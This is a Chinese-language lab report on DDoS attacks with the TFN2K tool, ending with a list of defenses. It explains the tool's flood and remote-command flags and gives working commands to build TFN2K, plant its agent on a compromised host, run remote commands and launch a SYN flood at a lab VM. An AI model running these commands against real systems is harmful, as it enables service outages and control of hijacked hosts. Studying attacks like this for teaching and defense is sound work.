一、實驗目的
- 理解DDoS攻擊原理
- 使用TFN2K發起攻擊
二、實驗環境
- 系統環境:windows環境,kali環境
- 軟件環境:TFN2K
三、實驗原理
- DDOS攻擊原理
分布式拒絕服務攻擊的英文意思是DistributedDenialofService,簡稱DDOS。它利用在已經侵入并已控制的不同的高帶寬主機(可能是數百,甚至成千上萬臺)上安裝大量的DOS服務程序,他們等待來自中央攻擊控制中心的命令,中央攻擊控制中心適時啟動全體受控主機的DOS服務進程,讓它們對一個特定目標發送盡可能多的網絡訪問請求,形成一股DOS洪流沖擊目標系統,猛烈的DOS攻擊同一個網站。在寡不敵眾的力量抗衡下,被攻擊的目標網站會很快失去反應而不能及時處理正常的訪問甚至系統癱瘓、崩潰。 - DDOS攻擊角色分析
從上圖可以看出,DDOS攻擊分為三層:攻擊者、主控端、代理端,三者在攻擊中扮演者不同的角色。(1)攻擊者攻擊者所用的計算機可以是網絡上的任何一臺計算機,甚至可以是一個活動的便攜機。攻擊者操作整個攻擊過程,它向主控端發送攻擊命令。(2)代理端代理端同樣也是攻擊者入侵并控制的一批主機,它們上面運行攻擊者程序,接受和運行主控端發來的命令。代理端主機是攻擊的執行者,真正向受害者主機發送攻擊。
三.DDOS攻擊流程
攻擊者發起DDOS攻擊的第一步,就是尋找在Internet上有漏洞的主機,進入系統后在其上面安裝后門程序,攻擊者入侵的主機越多,他的攻擊隊伍就越壯大。第二步在入侵主機上安裝攻擊程序,其中一部分主機充當攻擊的主控端,一部分主機充當攻擊的代理端。最后各部分主機各司其職,在攻擊者的調遣下對攻擊對象發起攻擊。由于攻擊者在幕后操作,所以在攻擊時不會受到監控系統的跟蹤,身份不容易被發現。
四.TFN2K簡介
- TFN2K是由德國著名黑客Mixter編寫的分布式拒絕服務攻擊工具,是同類攻擊工具TFN的后續版本。
- TFN2K通過主控端利用大量代理端主機的資源進行對一個或多個目標的協同攻擊。當前互聯網中的UNIX,Solaris和WindowsNT等平臺的主機能被用于此類攻擊,而且這個工具非常容易被移植到其他系統平臺上。
- TFN2K由兩部分組成:在主控端主機上的客戶端和代理端主機上的守護進程。主控端向其他代理端發起攻擊指定的目標主機列表。代理端據此對目標進行拒絕服務攻擊。有一個主控端控制的多個代理端主機,能夠在攻擊過程中相互協同,保證攻擊的連續性。主控端和代理端的網絡通訊是經過加密的,還可能混雜了許多虛假數據包。整個TFN2K網絡可能使用不同的TCP,UDP或ICMP包進行通訊,而且主控端還能偽造其IP地址。所有這些特征都使發展防御TFN2K攻擊的策略和技術都非常困難或效率低下。
- TFN2K常用攻擊命令:
-f |
這個參數后面跟文本文件名,就是真正實現DDOS攻擊 |
-h |
DOS攻擊也就是單機,一對一的攻擊,后面跟一個主機或IP地址 |
-p |
后面指定一個端口 |
-c |
最關鍵的參數,一共有11個選項: |
0 |
停止攻擊 |
1 |
反欺騙等級設定,因為TFN這個工具在攻擊的時候所發出的數據包是帶有源地址的,但是源地址是隨機的,也就是說地址不是你自己給的,所以不用擔心會反查到你的IP地址 |
2 |
改編數據包的包尺寸:缺省的ICMP/8,smurf,udp攻擊缺省使用最小包,可以通過改變每個包的有效載荷的字節增加它的大小 |
3 |
綁定rootshell:啟動一個會話服務,然后連接一個指定端口就可以得到一個rootshell |
4 |
UDP洪水攻擊:這個攻擊是利用這樣一個事實:每個UDP包被送往一個關閉的端口,這樣就會有一個ICMP不可達到的信息返回,增加了攻擊的能力 |
5 |
SYN洪水攻擊:這個攻擊由規律的送虛假的鏈接請求。結果會是目標端口拒絕服務,添滿TCP連接表,通過對不存在主機的TCP/RST響應增加攻擊潛力,是標準的拒絕服務攻擊 |
6 |
ICMP響應(ping)攻擊:這個攻擊發送虛假地址的ping請求,目標主機會回送相同大小的響應包 |
7 |
SMURF攻擊:用目標主機的地址發送ping請求以廣播擴大,這樣目標主機將得到回復一個多倍的回復 |
8 |
MIX攻擊:按照1:1:1的關系交替的發送UDP,SYN,ICMP包,這樣就可以對付路由器,其它包轉發設備,NIDS,sniffers等,輪播轟炸 |
9 |
TARGA3攻擊 |
10 |
遠程命令執行,這個參數是TFN的附加功能,其實TFN的攻擊不僅僅是DOS,還可以遠程的進行明令控制 |
- 控制命令:
./tfn -f hostext -c 10 -i "mkdir /root/edison"在所有的HOST上root目錄建立edison,-i后面跟“命令”
./tfn -f hostext -c 4 -i x.x.x.x 使用hostext文件中記錄的主機對x.x.x.x服務器進行UDP攻擊
./tfn -f hostext -c 5 -i x.x.x.x -p xxxx 使用hostext文件中記錄的主機對x.x.x.x服務器進行TCP拒絕服務攻擊
./tfn -f hostext -c 6 -i x.x.x.x 使用hostext文件中記錄的主機對x.x.x.x服務器進行ICMP攻擊
四、實驗步驟:
- 本次實驗使用TFN2K進行DDOS攻擊。
- TFN2K安裝:
在進行攻擊之前,需對TFN2K進行安裝,其安裝壓縮包在實驗工具文件夾中提供。打開kali虛擬機,解壓實驗文件夾中的tfn2k.tar文件,解壓文件如下圖所示:
雙擊進入TFN2K文件夾,并在此文件夾中打開終端,如下圖所示:
在終端輸入命令make命令編譯源文件,在此期間會要求輸入通信密鑰,該密鑰可以任意輸入,此處輸入12345678,這里輸入密碼最少8為,這個必須記住是調用代理端td進程的唯一認證,如下圖所示:
輸入密鑰之后點擊回車,編譯完成后,生成執行文件tfn與td,如下圖所示:
- tfn為主控端,通過此程序對代理端加密、下發攻擊指令。Td為代理端,負責解密、接受攻擊命令并發起攻擊。代理端和主控端之間的網絡通訊是進行加密的,使用的是AES對此加密算法,所以作為加密、解密的雙方都需要知道密鑰,加密方使用密鑰對信息進行加密,解密方使用密鑰對信息解密。
- 在tfn2k中,作為下發控制命令的主控端利用密鑰對發送信息進行加密,作為接受命令的代理端則利用密鑰對接受的信息進行解密并執行命令,與此同時代理端可以通過密鑰確定主控端身份。
- tfn2k攻擊:
此次實驗虛構背景為攻擊者已經攻破了目標機器并且可以上傳任意文件,便可以將td代理程序植入目標機器中并將其運行。通過ssh遠程連接傀儡機,傀儡機的IP:192.168.70.137
攻擊者植入td程序后,首先將其運行,運行td程序命令./td
查看系統進程,命令:ps -a ,從圖中可以得知td程序已于后臺運行并監聽來自主控端的命令,準備對目標主機發起攻擊
- 確定td程序運行之后可以首先進行測試,測試td程序是否能夠接受到主控端的命令并且執行命令。例如主控端發送命令讓td程序在目標主機中新建test文件夾,若test文件夾被成功創建說明td程序正常運行。
- 在進行攻擊測試之前需要在主控端新建一個代理主機文件(ip.txt),并且將代理主機的IP地址加入進去,新建代理主機文件以及添加IP地址的命令如下:
touch ip.txt
echo “192.168.70.137”>ip.txt
- 通過主控端tfn程序發送新建test文件夾的命令給代理端來進行簡單的控制測試,通過tfn攻擊命令在傀儡機tmp目錄下新建test文件夾,命令如下:
./tfn -f ip.txt -c 10 -i "mkdir /tmp/test"
打開tmp目錄,發現test文件夾創建成功,通信正常
打開傀儡機的tmp目錄下,發現test文件夾已經成功被創建
確認主控端與代理端通訊正常后,便可以開始對目標主機進行攻擊。啟動window7虛擬機,Windows7虛擬機為被攻擊目標機器。獲取Windows7虛擬機的IP地址,打開wireshark I/O圖表,從I/O圖標中可以得知每秒鐘收發數據包數僅為兩位數,如下如所示:
主控端向代理端開始發起攻擊指令,命令代理端向目標機器發起SYN泛洪攻擊。指令如下(192.168.70.139為被攻擊電腦Windows7虛擬機IP),輸入通信密鑰后點擊回車,代理端接受到主控端的命令開始對目標機器發起SYN泛洪攻擊,如下圖所示:攻擊命令:./tfn -f ip.txt -c 5 -i 192.168.70.139
在Windows7虛擬機中查看wireshark抓包結果可以得知接受到了大量的數據包,如下圖所示:
在I/O圖表中可以得知每秒捕獲數萬個數據包
主控端向代理端下發停止攻擊指令,如下圖:停止攻擊命令:./tfn -f ip.txt -c 0
- 結論:利用一臺傀儡機進行攻擊,便可以每秒捕獲上萬偽造數據包,卻明顯感覺被攻擊的操作系統開始卡頓,若有更多的機器同時發起攻擊,無疑會造成的后果將更加嚴重。
DDoS攻擊防御方法
- 過濾不必要的服務和端口:可以使用Inexpress、Express、Forwarding等工具來過濾不必要的服務和端口,即在路由器上過濾假IP。比如Cisco公司的CEF(Cisco Express Forwarding)可以針對封包Source IP和Routing Table做比較,并加以過濾。只開放服務端口成為目前很多服務器的流行做法,例如WWW服務器那么只開放80而將其他所有端口關閉或在防火墻上做阻止策略。
- 異常流量的清洗過濾:通過DDOS硬件防火墻對異常流量的清洗過濾,通過數據包的規則過濾、數據流指紋檢測過濾、及數據包內容定制過濾等頂尖技術能準確判斷外來訪問流量是否正常,進一步將異常流量禁止過濾。單臺負載每秒可防御800-927萬個syn攻擊包。
- 分布式集群防御:這是目前網絡安全界防御大規模DDOS攻擊的最有效辦法。分布式集群防御的特點是在每個節點服務器配置多個IP地址(負載均衡),并且每個節點能承受不低于10G的DDOS攻擊,如一個節點受攻擊無法提供服務,系統將會根據優先級設置自動切換另一個節點,并將攻擊者的數據包全部返回發送點,使攻擊源成為癱瘓狀態,從更為深度的安全防護角度去影響企業的安全執行決策。
- 高防智能DNS解析:高智能DNS解析系統與DDOS防御系統的完美結合,為企業提供對抗新興安全威脅的超級檢測功能。它顛覆了傳統一個域名對應一個鏡像的做法,智能根據用戶的上網路線將DNS解析請求解析到用戶所屬網絡的服務器。同時智能DNS解析系統還有宕機檢測功能,隨時可將癱瘓的服務器IP智能更換成正常服務器IP,為企業的網絡保持一個永不宕機的服務狀態。